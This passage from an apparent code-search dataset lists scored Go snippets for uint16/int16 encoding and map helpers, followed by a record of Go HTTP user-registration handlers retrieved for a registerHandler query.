*uint16, shortName string, longName string, description string) {\n\tDefaultParser.add(assignmentVar, shortName, longName, description)\n}", "title": "" }, { "docid": "28d0259901fdf46b98b96a99106f126e", "score": "0.5929643", "text": "func (h *MapUintToInt16) Put(k uint, v int16) {\n\tp := &h.slots[int(k)&h.mask]\n\tfor e := *p; e != nil; e = e.next {\n\t\tif e.k == k {\n\t\t\te.v = v\n\t\t\treturn\n\t\t}\n\t}\n\tn := h.alloc(k, v)\n\tif *p != nil {\n\t\tn.next = *p\n\t\t*p = n\n\t} else {\n\t\t*p = n\n\t\th.used++\n\t\tif h.used > h.max {\n\t\t\th.rehash()\n\t\t}\n\t}\n}", "title": "" }, { "docid": "0c6630c302be8c28b7d4eb3001ec41f0", "score": "0.59250486", "text": "func (w *Writer) WriteUint16(i uint16) error {\n\tswitch {\n\tcase i <= math.MaxUint8:\n\t\treturn w.WriteUint8(uint8(i))\n\tdefault:\n\t\tbuf := [3]byte{tagUint16}\n\t\tbinary.BigEndian.PutUint16(buf[1:], i)\n\t\t_, err := w.w.Write(buf[:])\n\t\treturn err\n\t}\n}", "title": "" }, { "docid": "8b86db9795b091a1c64bf2881f6fd6cf", "score": "0.59236205", "text": "func Int16p(key string, val *int16) Field {\n\treturn Int16p(key, val)\n}", "title": "" }, { "docid": "10e1df33e76950be4b0079ad2cf3460a", "score": "0.591966", "text": "func PutUint16(b []byte, offset int, v uint16) {\n\tbinary.BigEndian.PutUint16(b[offset:], v)\n}", "title": "" }, { "docid": "d1a06fbafed36a309a5e460c7600e819", "score": "0.5919532", "text": "func Uint16(u uint16) *uint16 { return &u }", "title": "" }, { "docid": "64b384c602179f9f49d78d115015c96e", "score": "0.5910546", "text": "func (h *MapUintToUint16) Put(k uint, v uint16) {\n\tp := &h.slots[int(k)&h.mask]\n\tfor e := *p; e != nil; e = e.next {\n\t\tif e.k == k {\n\t\t\te.v = v\n\t\t\treturn\n\t\t}\n\t}\n\tn := h.alloc(k, v)\n\tif *p != nil {\n\t\tn.next = *p\n\t\t*p = n\n\t} else {\n\t\t*p = n\n\t\th.used++\n\t\tif h.used > h.max {\n\t\t\th.rehash()\n\t\t}\n\t}\n}", "title": "" }, { "docid": "959a5accef9c9fe39d42ee922d0cf1db", "score": "0.59000236", "text": "func (g *Getter) Uint16(name string) uint16 {\n\tif v, ok := g.Get(name).(uint16); ok {\n\t\treturn v\n\t}\n\tpanic(fmt.Sprintf(\"field name %s is not uint16 type. value kind: %v\", name, g.GetValue(name).Kind()))\n}", "title": "" }, { "docid": "5541a1b72d14f971c54ba1dba4e0441b", "score": "0.58999103", "text": "func encode16(nibble byte) rune {\n\treturn e16[nibble]\n}", "title": "" }, { "docid": "5541a1b72d14f971c54ba1dba4e0441b", "score": "0.58999103", "text": "func encode16(nibble byte) rune {\n\treturn e16[nibble]\n}", "title": "" }, { "docid": "62f45366868acd99fd01ccd01800700c", "score": "0.58897257", "text": "func (e *Encoder) Int16(v int16) (err error) {\n\t_, err = e.w.Write(e.bw.Int16(v))\n\treturn\n}", "title": "" }, { "docid": "29d086c6cb104ae3695f3a44176013dd", "score": "0.5887255", "text": "func (f *Faker) Uint16() uint16 { return uint16Func(f.Rand) }", "title": "" }, { "docid": "c5af92d7d96f344daf32f0e49085bdcf", "score": "0.58715004", "text": "func (h *MapUintToInt16) Inc(k uint) {\n\tp := &h.slots[int(k)&h.mask]\n\tfor e := *p; e != nil; e = e.next {\n\t\tif e.k == k {\n\t\t\te.v++\n\t\t\treturn\n\t\t}\n\t}\n\tn := h.alloc(k, 1)\n\tif *p != nil {\n\t\tn.next = *p\n\t\t*p = n\n\t} else {\n\t\t*p = n\n\t\th.used++\n\t\tif h.used > h.max {\n\t\t\th.rehash()\n\t\t}\n\t}\n}", "title": "" }, { "docid": "70ab94194aab6b93bb0c529dbb079fc6", "score": "0.5858115", "text": "func (b *Builder) AppendInt16(name string, data []int16) {\n\n\tp, ok := b.info.Pos[name]\n\tif !ok {\n\t\tmsg := fmt.Sprintf(\"Variable %s not found.\", name)\n\t\tpanic(msg)\n\t}\n\n\tif b.firstVar {\n\t\tb.info.Rows = append(b.info.Rows, uint64(len(data)))\n\t} else {\n\t\tm := b.info.Rows[len(b.info.Rows)-1]\n\t\tif int(m) != len(data) {\n\t\t\tmsg := fmt.Sprintf(\"Invalid number of values in variable %s, expected %d, found %d.\",\n\t\t\t\tname, m, len(data))\n\t\t\tpanic(msg)\n\t\t}\n\t}\n\n\tstart := b.currentPosition()\n\tgz := gzip.NewWriter(b.w)\n\tenc := gob.NewEncoder(gz)\n\n\terr := enc.Encode(data)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tgz.Close()\n\tend := b.currentPosition()\n\n\tb.info.Offsets[p] = append(b.info.Offsets[p], uint64(start))\n\tb.info.Sizes[p] = append(b.info.Sizes[p], uint64(end-start))\n\n\tb.written[p] = true\n\tb.firstVar = false\n}", "title": "" }, { "docid": "abd922362cdde27298bd9573a830cf8e", "score": "0.58544964", "text": "func (u16 U16) Uint16() uint16 {\n\treturn u16.inner\n}", "title": "" }, { "docid": "3cace4c19e884c188b801e86a50e73a8", "score": "0.58542496", "text": "func (e *Encoder) Int16(i int16) {\n\tif e.err != nil {\n\t\treturn\n\t}\n\tbinary.LittleEndian.PutUint16(e.b[:2], uint16(i))\n\te.wr.Write(e.b[:2])\n}", "title": "" }, { "docid": "e340458b28ec85290a5dab0856cbade5", "score": "0.5845586", "text": "func (s *settings) GetUint16(key string) uint16 {\n\ts.RLock()\n\tdefer s.RUnlock()\n\n\tv, ok := s.data[key]\n\tif !ok {\n\t\treturn 0\n\t}\n\n\tvalue, ok := v.(uint16)\n\tif !ok {\n\t\treturn 0\n\t}\n\treturn value\n}", "title": "" }, { "docid": "5882e17af993d066dcee421c28e00895", "score": "0.5845564", "text": "func PutUint16(b []byte, v uint16) {\n\tb[0], b[1] = byte(v), byte(v>>8)\n}", "title": "" }, { "docid": "f74d0b8ffb05247091cfd7cbe140c66b", "score": "0.58363116", "text": "func Int16(name string, value int16) Field {\n\treturn Field{Name: name, Type: reflect.Int16, IntValue: int64(value)}\n}", "title": "" }, { "docid": "ec94ff631c676bd829f5e53511be337d", "score": "0.583051", "text": "func Uint16(n uint16) *uint16 {\n\treturn &n\n}", "title": "" }, { "docid": "77131ce3563c2de3444b74fa702abc22", "score": "0.5823521", "text": "func HexUint16() string { return hexUint(globalFaker.Rand, 16) }", "title": "" }, { "docid": "33c0fe219ac8477be86e53c5206b2190", "score": "0.5810044", "text": "func MarshalUint16(i uint16) graphql.Marshaler {\n\treturn MarshalUint64(uint64(i))\n}", "title": "" }, { "docid": "3e5f835a5ba859897d24e4c2145c9066", "score": "0.5790378", "text": "func (rule *edns0VariableRule) uint16ToWire(data uint16) []byte {\n\tbuf := make([]byte, 2)\n\tbinary.BigEndian.PutUint16(buf, uint16(data))\n\treturn buf\n}", "title": "" }, { "docid": "97f44355b10aa9295d890e70012a6019", "score": "0.57701457", "text": "func (s *Bytes) UInt16(offset int) uint16 {\n\ts.EnsureLen(offset + 2)\n\treturn s.Pointer.UInt16(offset)\n}", "title": "" }, { "docid": "ad398bcd96ae9920ee6b3881abd3c43a", "score": "0.5765385", "text": "func (w *Writer) WriteUint16(i uint16) {\n\tif w.err != nil {\n\t\treturn\n\t}\n\tbinary.LittleEndian.PutUint16(w.b[:2], i)\n\tw.wr.Write(w.b[:2])\n}", "title": "" }, { "docid": "50923d62fb4a21ddf595d6289f8c2af7", "score": "0.5757253", "text": "func (s ServiceFlags) UInt16() uint16 {\n\treturn uint16(s)\n}", "title": "" }, { "docid": "f53b0ac7cc46e885af4fcfadc0c59d0b", "score": "0.5754703", "text": "func WriteUint16(v uint16) (b []byte) {\n\tb = make([]byte, 2)\n\tNativeEndian.PutUint16(b, v)\n\treturn\n}", "title": "" }, { "docid": "8d01716c37099c6fadcf8afa799612bb", "score": "0.57528937", "text": "func Uint16(b []byte) uint16 {\n\treturn uint16(b[0]) | uint16(b[1])<<8\n}", "title": "" }, { "docid": "d6a0bcb1e41b3202380b5c981ababe8b", "score": "0.57520294", "text": "func (stream DataOutputStream) PutUint16(data uint16, cancellable Cancellable) (bool, error) {\n\tvar err glib.Error\n\tret0 := C.g_data_output_stream_put_uint16(stream.native(), C.guint16(data), cancellable.native(), (**C.GError)(unsafe.Pointer(&err)))\n\tif err.Ptr != nil {\n\t\tdefer err.Free()\n\t\treturn false, err.GoValue()\n\t}\n\treturn util.Int2Bool(int(ret0)) /*go:.util*/, nil\n}", "title": "" }, { "docid": "628d47e21a01f6f1b3d0b90bbb4c199e", "score": "0.5748472", "text": "func (f *Faker) HexUint16() string { return hexUint(f.Rand, 16) }", "title": "" }, { "docid": "97477ae49e455ffa43d6d8bed1ad7d00", "score": "0.5738828", "text": "func opI16Add(prgrm *CXProgram) {\n\texpr := prgrm.GetExpr()\n\tfp := prgrm.GetFramePointer()\n\n\toutB0 := ReadI16(fp, expr.Inputs[0]) + ReadI16(fp, expr.Inputs[1])\n\tWriteI16(GetFinalOffset(fp, expr.Outputs[0]), outB0)\n}", "title": "" }, { "docid": "aee8a6b95f64bee5ef4ad67dcc76cc66", "score": "0.5723926", "text": "func (v *Value) EachUint16(callback func(int, uint16) bool) *Value {\n\tfor index, val := range v.MustUint16Slice() {\n\t\tcarryon := callback(index, val)\n\t\tif !carryon {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn v\n}", "title": "" }, { "docid": "3406e8b3c555605bd548dd5cb8a7c0c2", "score": "0.5723402", "text": "func Uint16() uint16 { return uint16Func(globalFaker.Rand) }", "title": "" }, { "docid": "2354c9acbbd873038920bde053f69e64", "score": "0.5714962", "text": "func WriteUint16(i uint16, w io.Writer) error {\n\tbuf := []byte{0, 0}\n\tbinary.LittleEndian.PutUint16(buf, i)\n\terr := WriteN(w, buf, 2)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "85ef9ef03b202607103945a0db125030", "score": "0.5711008", "text": "func (b *Buffer) WriteNetUint16At(u uint16, index int) error {\n\tif b.err != nil {\n\t\treturn b.err\n\t}\n\ttmp := b.sliceAt(index, 2)\n\ttmp[0] = uint8(u >> 8)\n\ttmp[1] = uint8(u)\n\treturn nil\n}", "title": "" }, { "docid": "158d0e9ed51ccae901fad206c295ac9b", "score": "0.57087374", "text": "func (rs *ResultSet) Uint16(ord int) (value uint16, isNull bool, err error) {\n\terr = rs.conn.withRecover(\"*ResultSet.Uint16\", func() {\n\t\tvalue, isNull = rs.uint16(ord)\n\t})\n\n\treturn\n}", "title": "" }, { "docid": "466c290f78e31f2cc6f2428b16c1d438", "score": "0.56918764", "text": "func WriteUint16Buffer(v uint16, b []byte) {\n\tNativeEndian.PutUint16(b, v)\n}", "title": "" }, { "docid": "db994f683ec8bb99ed1cd320e4ee7f11", "score": "0.5690677", "text": "func PutUint16(b []byte, v uint16) []byte {\n\treturn append(b, byte(v>>0), byte(v>>8))\n}", "title": "" }, { "docid": "4b912ae4e6664907dc91a50db8d4d2eb", "score": "0.5669876", "text": "func (f *Field) SetUint16(structAddr unsafe.Pointer, val uint16) {\n\tresult := (*uint16)(unsafe.Pointer(uintptr(structAddr) + f.field.Offset))\n\t*result = val\n}", "title": "" }, { "docid": "fbba0af9cbd3df10b8de8ce46a77ef79", "score": "0.5663481", "text": "func (i Integer16) Add(in ...int16) {\n\tfor _, val := range in {\n\t\ti[val] = struct{}{}\n\t}\n}", "title": "" }, { "docid": "8ccebcae642a30b04ac3516b340322c9", "score": "0.56529516", "text": "func NewInt16Field(name string) Int16Field {\n\treturn Int16Field{FieldSelector: Field(name)}\n}", "title": "" }, { "docid": "13dde2c31ab09b20a033d2316c5bfc8f", "score": "0.56527424", "text": "func Uint16(value uint16) *uint16 {\n\treturn &value\n}", "title": "" }, { "docid": "745865297840d86055d05f66ced9b858", "score": "0.56525266", "text": "func (pds *PacketDataStream) PutInt16(val int16) {\n\tpds.addVarint(uint64(val))\n}", "title": "" }, { "docid": "230a1a28608bd61abb70352b6464e8e0", "score": "0.5648975", "text": "func (e *zerologEvent) Uint(key string, num uint) Event {\n\treturn &zerologEvent{event: e.event.Uint(key, num)}\n}", "title": "" }, { "docid": "f3e8f8fdd1586d4f43d2269f49e55086", "score": "0.56407833", "text": "func (val XMValue) UInt16() (v uint16) {\n\tencoding.ReadFrom(bytes.NewBuffer(val), &v)\n\treturn\n}", "title": "" }, { "docid": "7dd9d178a383dacaf208f40f6d61321f", "score": "0.56311744", "text": "func (e *LittleEndianWriter) WriteUint16(d uint16) (int, error) {\n\te.buffer = [9]byte{\n\t\tbyte(d),\n\t\tbyte(d >> 8),\n\t}\n\treturn e.Writer.Write(e.buffer[:2])\n}", "title": "" } ]
c02ace2559bec61ea9c82f0b48145e5a
registerHandler serves form for registring new users
[ { "docid": "fe1c2bd11a31bf7dd50becab6bfdab45", "score": "0.7086523", "text": "func registerHandler(w http.ResponseWriter, r *http.Request) {\r\n\tfmt.Println(\"*****registerHandler running*****\")\r\n\ttpl.ExecuteTemplate(w, \"register.html\", nil)\r\n}", "title": "" } ]
[ { "docid": "a055fe96f080a323466d1049fcc0ad73", "score": "0.77936274", "text": "func (c *Core) RegisterHandler(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tvar reg str.RegisterRequest\n\tvar err error\n\terr = json.NewDecoder(r.Body).Decode(&reg)\n\n\tif err != nil {\n\t\tif err.Error() == \"user exist\" {\n\t\t\tw.WriteHeader(400)\n\t\t\tfmt.Fprintf(w, \"{\\\"status\\\" : \\\"user already exist\\\"}\")\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(400)\n\t\tfmt.Fprintf(w, \"{\\\"status\\\" : \\\"wrong request\\\"}\")\n\t\tpanic(err)\n\t}\n\n\terr = c.DB.UserSignup(reg)\n\tif err != nil {\n\t\tw.WriteHeader(500)\n\t\tfmt.Fprintf(w, \"{\\\"status\\\" : \\\"internal error\\\"}\")\n\t\tpanic(err)\n\t}\n\n\tc.DB.UserActivation(reg, c.mail)\n\n\tw.WriteHeader(http.StatusOK)\n\tfmt.Fprintf(w, \"{\\\"status\\\" : \\\"success\\\"}\")\n\t//Test print\n\t//c.Templates[\"register\"].Execute(w, nil)\n\n}", "title": "" }, { "docid": "1b43c38d154e120a2ce4b9f1965d494a", "score": "0.7660166", "text": "func (h *Handlers) RegisterHandler(c echo.Context) error {\n\trole := c.FormValue(\"role\")\n\ttemplateDir := h.Conf.UString(\"TemplateDir\")\n\n\ttype inputUser struct {\n\t\tEmail string `json:\"email\"`\n\t\tPassword string `json:\"password\"`\n\t\tName string `json:\"name\"`\n\t}\n\n\tvar userInput inputUser\n\n\tif role != string(auth.ADMIN) && role != string(auth.USER) {\n\t\terr := errors.New(\"unidentified user type\")\n\t\tc.Error(err)\n\t\treturn err\n\t}\n\n\terr := c.Bind(&userInput)\n\tif err != nil {\n\t\tlogger.Println(err)\n\t\tc.Error(err)\n\t\treturn err\n\t}\n\n\tuser := types.User{\n\t\tEmail: userInput.Email,\n\t\tPassword: userInput.Password,\n\t\tProfile: types.JobProfile{\n\t\t\tBasics: types.Profile{\n\t\t\t\tName: userInput.Name,\n\t\t\t\tEmail: userInput.Email,\n\t\t\t},\n\t\t},\n\t}\n\n\t// validate\n\terr = auth.CheckDuplicateEmail(user.Email)\n\tif err != nil {\n\t\tlogger.Println(err)\n\t\tc.Error(err)\n\t\treturn err\n\t}\n\n\tu, err := auth.NewUser(user, role, []string{\"Profile\"})\n\tif err != nil {\n\t\tc.Error(err)\n\t\tlogger.Println(err)\n\t\treturn err\n\t}\n\n\terr = auth.Save(&u, fmt.Sprintf(\"%s/registration.tmpl\", templateDir))\n\tif err != nil {\n\t\tlogger.Println(err)\n\t\tc.Error(err)\n\t\treturn err\n\t}\n\n\tret := returnMsg{Success: true}\n\tc.Response().Header().Set(\"Content-Type\", \"application/json\")\n\tc.Response().WriteHeader(http.StatusOK)\n\n\treturn json.NewEncoder(c.Response()).Encode(ret)\n}", "title": "" }, { "docid": "657f2b8a3cc759831e0b5b12e853597c", "score": "0.75453186", "text": "func registerHandler(w http.ResponseWriter, r *http.Request) {\n\tif r.Method == \"POST\" {\n\t\t/* Get the username and password that the user wants to register, and then\n\t\t * use RPC to register.\n\t\t */\n\t\tusername := r.FormValue(\"user\")\n\t\tpassword := r.FormValue(\"pass\")\n\t\tresult := registerUser(username, password)\n\t\tif result {\n\t\t\t/* If valid, we then go back to the normal login stage, where the user has\n\t\t\t * to log in again using his/her new username & password.\n\t\t\t */\n\t\t\thttp.Redirect(w, r, \"/login/\", http.StatusFound)\n\t\t} else {\n\t\t\tp := &Page{Title: \"Login Airbnb\", State: \"Registration not successful.\"}\n\t\t\trenderTemplate(w, \"login\", p)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "dd8247d32080bb6477332a87972fd1e1", "score": "0.75332266", "text": "func RegisterHandler(response http.ResponseWriter, request *http.Request) {\n\tcollection, err := repos.GetDBCollection(0)\n\tif err != nil {\n\t\tt, _ := template.ParseFiles(\"templates/errorpage.gohtml\")\n\t\tt.Execute(response, GetError(dbConnectionError, \"/register\"))\n\t\treturn\n\t}\n\trequest.ParseForm()\n\n\t// Get data the User typen into the fields\n\tfirstName := request.FormValue(\"firstname\")\n\tlastName := request.FormValue(\"lastname\")\n\temail := request.FormValue(\"email\")\n\tphone := request.FormValue(\"phone\")\n\tsex := request.FormValue(\"sex\")\n\n\t// initializing as false for not filled\n\t_firstName, _lastName, _email, _phone := false, false, false, false\n\t_firstName = !helpers.IsEmpty(firstName)\n\t_lastName = !helpers.IsEmpty(lastName)\n\t_email = !helpers.IsEmpty(email)\n\t_phone = !helpers.IsEmpty(phone)\n\t// Check if fields are not empty\n\tif _firstName && _lastName && _email && _phone {\n\t\t// Look if the entered Username is already used\n\t\tresult := collection.FindOne(context.TODO(), bson.D{{\"Phone\", repos.Encrypt(phone)}})\n\t\t// If not found (throws exception/error) then we can proceed\n\t\tif result.Err() != nil {\n\t\t\tencF := repos.Encrypt(firstName)\n\t\t\tif encF == \"\" {\n\t\t\t\thttp.Redirect(response, request, \"/register?format\", 302)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tencL := repos.Encrypt(lastName)\n\t\t\tif encL == \"\" {\n\t\t\t\thttp.Redirect(response, request, \"/register?format\", 302)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tencE := repos.Encrypt(email)\n\t\t\tif encE == \"\" {\n\t\t\t\thttp.Redirect(response, request, \"/register?format\", 302)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tencP := repos.Encrypt(phone)\n\t\t\tif encP == \"\" {\n\t\t\t\thttp.Redirect(response, request, \"/register?format\", 302)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tusr := model.User{sex, encF, encL, encE, encP, false, []model.RegisteredPrayer{}}\n\t\t\t// Insert user to the table\n\t\t\tcollection.InsertOne(context.TODO(), usr)\n\t\t\t// Change redirect target to LoginPage\n\t\t\thttp.Redirect(response, request, \"/?success\", 302)\n\t\t} else {\n\t\t\thttp.Redirect(response, request, \"/register?wrong\", 302)\n\t\t\treturn\n\t\t}\n\t} else {\n\t\thttp.Redirect(response, request, \"/register?empty\", 302)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "08a9667d11de4b26ec02d3b226360ccd", "score": "0.753114", "text": "func registerHandler(w http.ResponseWriter, r *http.Request) {\n\t//Try to log the cookie user in\n\tuser := cookieLogin(r)\n\tif user.UserID != -1 {\n\t\thttp.Redirect(w, r, \"/shs\", 301)\n\t}\n\t//Is he trying to \"GET\" the page, or request a registration?\n\tif r.Method == \"POST\" {\n\t\tr.ParseForm()\n\t\tusername := r.Form[\"username_register\"][0]\n\t\tpassword := r.Form[\"password_register\"][0]\n\t\tuser := database.RegisterUser(username, password)\n\t\tif user.UserID == -1 {\n\t\t\t//User can't be registerd Name is used\n\t\t\t//Name already taken\n\t\t\thttp.Redirect(w, r, \"/register?error=usernameTaken\", 301)\n\t\t} else {\n\t\t\t//User was created and should be logged in\n\t\t\tcookieValue := database.CreateCookie()\n\t\t\tdatabase.SetCookie(username, cookieValue)\n\t\t\tcookieValueStr := strconv.Itoa(cookieValue)\n\t\t\tcookie := http.Cookie{\n\t\t\t\tName: username,\n\t\t\t\tValue: cookieValueStr,\n\t\t\t\tMaxAge: 0,\n\t\t\t}\n\t\t\thttp.SetCookie(w, &cookie)\n\t\t\thttp.Redirect(w, r, \"/shs\", 301)\n\t\t}\n\t} else {\n\t\t//Show register page\n\t\theader := header{\n\t\t\tTitle: \"Register to:Huus\",\n\t\t}\n\t\tt := template.Must(template.ParseFiles(\"../webclient/html/login/header.html\", \"../webclient/html/login/register.html\"))\n\t\tt.ExecuteTemplate(w, \"header\", header)\n\t\tt.ExecuteTemplate(w, \"register\", nil)\n\t\t//The ending seems to automatic, at least the documents got an end\n\t\t//t.ExecuteTemplate(w, \"ending\", nil)\n\t}\n}", "title": "" }, { "docid": "b92206edfb90d1fb61434e4230e37ba6", "score": "0.74310786", "text": "func RegisterHandler(w http.ResponseWriter, r *http.Request) {\n\t// if helpers.AlreadyLoggedIn(r) {\n\t// \t//Redirect to ListNotesHandler\n\t// \thttp.Redirect(w, r, \"/notes\", http.StatusSeeOther)\n\t// \treturn\n\t// }\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tbody, _ := ioutil.ReadAll(r.Body)\n\tvar user model.User\n\terr := json.Unmarshal(body, &user)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\tname, pwd := user.Username, user.Password\n\tif len(name) > 0 {\n\n\t\tvar usernameExists bool\n\t\tsqlstmnt := `SELECT EXISTS(SELECT * FROM users WHERE username=$1);`\n\t\t_ = db.Conn.QueryRow(sqlstmnt, name).Scan(&usernameExists)\n\t\tif usernameExists {\n\t\t\thttp.Error(w, \"Username exists\", http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\t\tinsertQuery := `INSERT INTO users (username, password)\n\t\tVALUES ($1,$2 );\n\t\t`\n\t\tregisterpasswd, _ := bcrypt.GenerateFromPassword([]byte(pwd), bcrypt.MinCost)\n\t\t_, err := db.Conn.Exec(insertQuery, name, string(registerpasswd))\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tjwtToken, err := helpers.GenerateJWTToken(name)\n\n\t\tc := &http.Cookie{\n\t\t\tName: \"token\",\n\t\t\tValue: jwtToken,\n\t\t\tHttpOnly: true,\n\t\t}\n\t\thttp.SetCookie(w, c)\n\n\t\tw.WriteHeader(http.StatusCreated)\n\t\tjson.NewEncoder(w).Encode(\"You have successfully registered.\")\n\t\treturn\n\t}\n\tw.WriteHeader(http.StatusBadRequest)\n\tjson.NewEncoder(w).Encode(\"Name cant be empty string.\")\n\treturn\n}", "title": "" }, { "docid": "03e58f2dfaea3dc02874c176bff7214b", "score": "0.721135", "text": "func RegisterHandler(s *Services) func(w http.ResponseWriter, r *http.Request) {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\terr := r.ParseForm()\n\t\tif err != nil {\n\t\t\thandleError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tusername := r.Form.Get(\"username\")\n\t\tpassword := r.Form.Get(\"password\")\n\t\trememberMe, err := strconv.ParseBool(r.Form.Get(\"rememberMe\"))\n\t\tif err != nil {\n\t\t\tlog.WithError(err).Error(\"Failed to parse rememberMe parameter\")\n\t\t\trememberMe = false\n\t\t}\n\n\t\tuser := data.NewUser(username)\n\t\tif err := user.SetPassword(password); err != nil {\n\t\t\thandleError(w, r, err)\n\t\t\treturn\n\t\t}\n\t\tif err := s.db.SaveUser(user); err != nil {\n\t\t\tif err == data.ErrUserAlreadyExists {\n\t\t\t\thttp.Error(w, \"Username is already in use\", http.StatusInternalServerError)\n\t\t\t} else {\n\t\t\t\thandleError(w, r, err)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\terr = s.cookieHandler.SetCookieUsername(w, username, rememberMe)\n\t\tif err != nil {\n\t\t\tlog.WithError(err).Error(\"Failed to set username cookie\")\n\t\t\thttp.Error(w, \"Failed to set username cookie\", http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\n\t\tw.Header().Add(\"Content-Type\", \"text/plain\")\n\t\tif _, err := io.WriteString(w, \"OK\"); err != nil {\n\t\t\tlog.WithError(err).Error(\"Failed to write response\")\n\t\t}\n\t}\n}", "title": "" }, { "docid": "06969e9140c8d57d4f5ec98bf8795c36", "score": "0.7202123", "text": "func registerUserHandler(r *echo.Group) {\n\n\tu := userHandler{}\n\n\t//group user\n\tuserRoute := r.Group(\"/user\")\n\t//set api\n\tuserRoute.POST(\"/create\", u.createUser)\n\tuserRoute.GET(\"/:id\", u.getUser)\n\tuserRoute.POST(\"/edit/:id\", u.editUser)\n\n}", "title": "" }, { "docid": "713b823c004359b9625823ee14071622", "score": "0.711138", "text": "func RegistrationHandler(context *gin.Context, database *db.Context) {\n\tmodel := models.RegisterModel{}\n\terr := context.BindJSON(&model)\n\tif err != nil {\n\t\tcontext.AbortWithStatus(http.StatusBadRequest)\n\t\treturn\n\t}\n\tsalt := make([]byte, 128)\n\t_, err = rand.Read(salt)\n\tif err != nil {\n\t\tcontext.AbortWithError(http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\tvar password []byte\n\tpassword, err = util.GeneratePassword([]byte(model.Password), salt)\n\tif err != nil {\n\t\tcontext.AbortWithError(http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\tuser := db.User{\n\t\tID: bson.NewObjectId(),\n\t\tUsername: model.Username,\n\t\tEmail: model.Email,\n\t\tPassword: base64.URLEncoding.EncodeToString(password),\n\t\tSalt: base64.URLEncoding.EncodeToString(salt),\n\t}\n\n\tdatabase.DB().C(\"users\").Insert(user)\n\tcontext.JSON(http.StatusOK, \"\")\n}", "title": "" }, { "docid": "daccce0db8dd8ffc76976f699d27eef1", "score": "0.70940524", "text": "func register(w http.ResponseWriter, req *http.Request) {\r\n\tif req.Method == http.MethodPost {\r\n\t\tvar un string = req.FormValue(\"username\")\r\n\t\tvar p string = req.FormValue(\"password\")\r\n\t\tvar f string = req.FormValue(\"firstname\")\r\n\t\tvar l string = req.FormValue(\"lastname\")\r\n\t\t// u = user{un, p, f, l}\r\n\t\t//dbUsers[un] = u\r\n\t\tdbUsers[un] = user{un, p, f, l}\r\n\t\thttp.Redirect(w, req, \"/index\", http.StatusSeeOther)\r\n\t\treturn\r\n\t}\r\n\ttpl.ExecuteTemplate(w, \"register.gohtml\", nil)\r\n}", "title": "" }, { "docid": "3017a83f7fc31b74aca99346c761105e", "score": "0.70805573", "text": "func RegisterHandler(update tgbotapi.Update, bot *tgbotapi.BotAPI) {\n\targ1, arg2 := CutTwoArguments(update.Message.CommandArguments())\n\tif arg1 == \"\" || arg2 == \"\" {\n\t\tmsg := tgbotapi.NewMessage(update.Message.Chat.ID, `Неправильно введена команда.\nПравильная форма: `+\"`/register <login> <password>`\"+`.\nЛогин должен состоять из `+\"`A-Z, a-z, 0-9, _`\"+`;\nа пароль должен состоять из `+\"`A-Z, a-z, 0-9, _, *, -, #, $, %, !, @, ^`\"+`.`)\n\t\tmsg.ParseMode = \"Markdown\"\n\t\tChattables <- msg\n\t\treturn\n\t}\n\n\tuser1 := &User{\n\t\tName: arg1,\n\t\tEmail: \"shit@gogle.net\",\n\t\tPassword: arg2,\n\t}\n\n\terr := db.Insert(user1)\n\tif err != nil {\n\t\tpgErr, ok := err.(pg.Error)\n\t\tif ok && pgErr.IntegrityViolation() {\n\t\t\tChattables <- tgbotapi.NewMessage(update.Message.Chat.ID, \"А пользователь уже есть, для вас мест нет (ну по крайней мере под таким логином).\")\n\t\t} else {\n\t\t\tChattables <- tgbotapi.NewMessage(update.Message.Chat.ID, \"У вас тротлинг. Сочувствую.\")\n\t\t}\n\t\treturn\n\t}\n\tmsg := tgbotapi.NewMessage(update.Message.Chat.ID, fmt.Sprintf(\"Ваш логин - `%s`, ваш пароль - `%s`. Вас зарегистрировали, поэтому вы ЛОХ.\", arg1, arg2))\n\tmsg.ParseMode = \"Markdown\"\n\tChattables <- msg\n}", "title": "" }, { "docid": "4b6e577c8708dedc66b70891035b4a62", "score": "0.7070593", "text": "func RegisterHandler(w http.ResponseWriter, r *http.Request) {\n\n\t//TODO: parse request json and authorize\n}", "title": "" }, { "docid": "f375be5e80be2f39d85993fbb28f91ef", "score": "0.6979224", "text": "func (a *Api) HandleRegistration(w http.ResponseWriter, r *http.Request) {\n\tvar reqBody struct {\n\t\tLogin string `json:\"login\"`\n\t\tPassword string `json:\"password\"`\n\t\tName string `json:\"name\"`\n\t}\n\tif err := json.NewDecoder(r.Body).Decode(&reqBody); err != nil {\n\t\treplyWithError(w, http.StatusBadRequest, fmt.Errorf(\"decode request body: %v\", err))\n\t\treturn\n\t}\n\tdefer r.Body.Close()\n\tif err := insertUser(a.db, reqBody.Login, reqBody.Password, reqBody.Name); err != nil {\n\t\terr = fmt.Errorf(\"insert new user: %v\", err)\n\t\tlogE.Print(err)\n\t\treplyWithError(w, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "27d7353a9eefc9244bc79e0b3ef4dd6d", "score": "0.6959081", "text": "func registerUser(w http.ResponseWriter, r *http.Request) {\n\n}", "title": "" }, { "docid": "768d33443ce19ee52dfefc6afa44a99a", "score": "0.6942321", "text": "func Register(w http.ResponseWriter, r *http.Request) {\n\n\tif r.Method == \"GET\" {\n\t\tExecuteHTML(w, \"templates/register.html\", nil)\n\t} else if r.Method == \"POST\" {\n\t\tr.ParseForm()\n\n\t\tif database.GlobalDBAdmin.ExistUser(r.Form[\"username\"][0]) 